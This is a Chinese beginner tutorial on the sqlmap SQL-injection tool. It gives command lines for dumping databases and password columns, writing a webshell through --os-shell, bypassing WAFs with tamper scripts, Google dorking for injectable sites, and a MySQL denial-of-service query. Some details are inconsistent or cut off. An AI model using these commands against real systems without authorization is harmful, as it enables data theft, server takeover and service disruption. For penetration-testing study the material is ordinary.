渗透测试工具sqlmap基础教程

渗透测试工具sqlmap基础教程,从入门到精通
本文仅献给想学习渗透测试的sqlmap小白,大牛请绕过。

对于网络安全人员来说,掌握渗透工具的使用方法是一项必备的技能。然而,一个没有师傅带领的小白在刚开始学习时,并不知道该如何入手进行渗透学习,所以本文旨在帮助这些小白入门。

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。

既然本文是基础教程,以下只写工具的基本使用方法。

本教程为sqlmap具体应用案例,如需了解更多sqlmap资料可以访问官方http://sqlmap.org ,或者乌云知识库http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。

  1. MySQL数据库注入

检查注入点(主要看是否能返回消息):sqlmap.py -u url

爆所有库:sqlmap.py -u url -dbs

爆当前库:sqlmap.py -u url --current-db

2.Access数据库注入

判断是否是access数据库:url and exists(select id from MSysAccessObjects)
其他数据库判断语句:

Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>

access数据库没有库的概念,直接爆表sqlmap.py -u "url" --tables

爆列,爆字段,可以在日志里找到

  1. 指定数据库,操作系统

检查是否是注入点
爆库:sqlmap.py -u url --dbms mysql 5.0 --current-db

爆表:sqlmap.py -u url --dbms mysql 5.0 -D cms --tables

爆列:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_user --columns

爆字段:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_users -C password ,username --dump

  1. 请求延时注入

测试注入点:sqlmap.py -u url -p id

sqlmap注入方式techniquesqlmap.py -u url --technique T

B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)

猜数据库sqlmap.py -u url --technique T -time-sec 9 --current-db

其他参数:--delay,--safe-freq

5.常规伪静态注入
伪静态:主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。

加星花:sqlmap.py -u "url*.html" --dbs

利用sqlmap注入:sqlmap.py -u "url*.html" --current-db --hex

爆表:sqlmap.py -u "url*.html" -D "cms" --tables –hex

6.cookie注入

burpsuite获得cookie
sqlmap的cookie注入攻击:sqlmap.py -u url --cookie “uname=admin" --level 2

爆库,爆表,爆列,爆字段

7.POST登录框注入

burpsuite抓包右键保存到\Python2\sqlmap中
测试能否注入sqlmap.py -r 1.txt -p user(-r:让sqlmap加载post请求,-p:指定注入用的参数)
爆库 sqlmap.py -r 1.txt --current-db

自动搜索表单:sqlmap.py -u url --form

指定一个参数:sqlmap.py -u url --data "name=1&pass=1"

8.交互式写shell及命令执行

测试注入点:sqlmap.py -u url -p id

利用SQLmap写webshell:sqlmap.py -u url --os-shell 输入脚本语言,输入网站绝对路径

9.绕过WAF防火墙

利用tamper脚本绕过过滤: sqlmap.py -u url --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py

10.sqlmap模板使用,编写

尝试注入 and 1=1被拦截
利用%0a尝试绕过,发现可以
编写tamper模板,利用sqlmap跑库(c:\python27\sqlmap\tamper)
利用sqlmap跑库sqlmap.py -u "url" --dbs --batch --tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py

11.利用sqlmap来google搜索

查找页面:sqlmap.py -g inurl:php?id=

12.sqlmpa进行Mysql DOS攻击

获得shell:sqlmap.py -u url --sql-shell

进行攻击:select benchmark(9999999999,0*70726f63409284209)

你可能感兴趣的:(渗透测试工具sqlmap基础教程)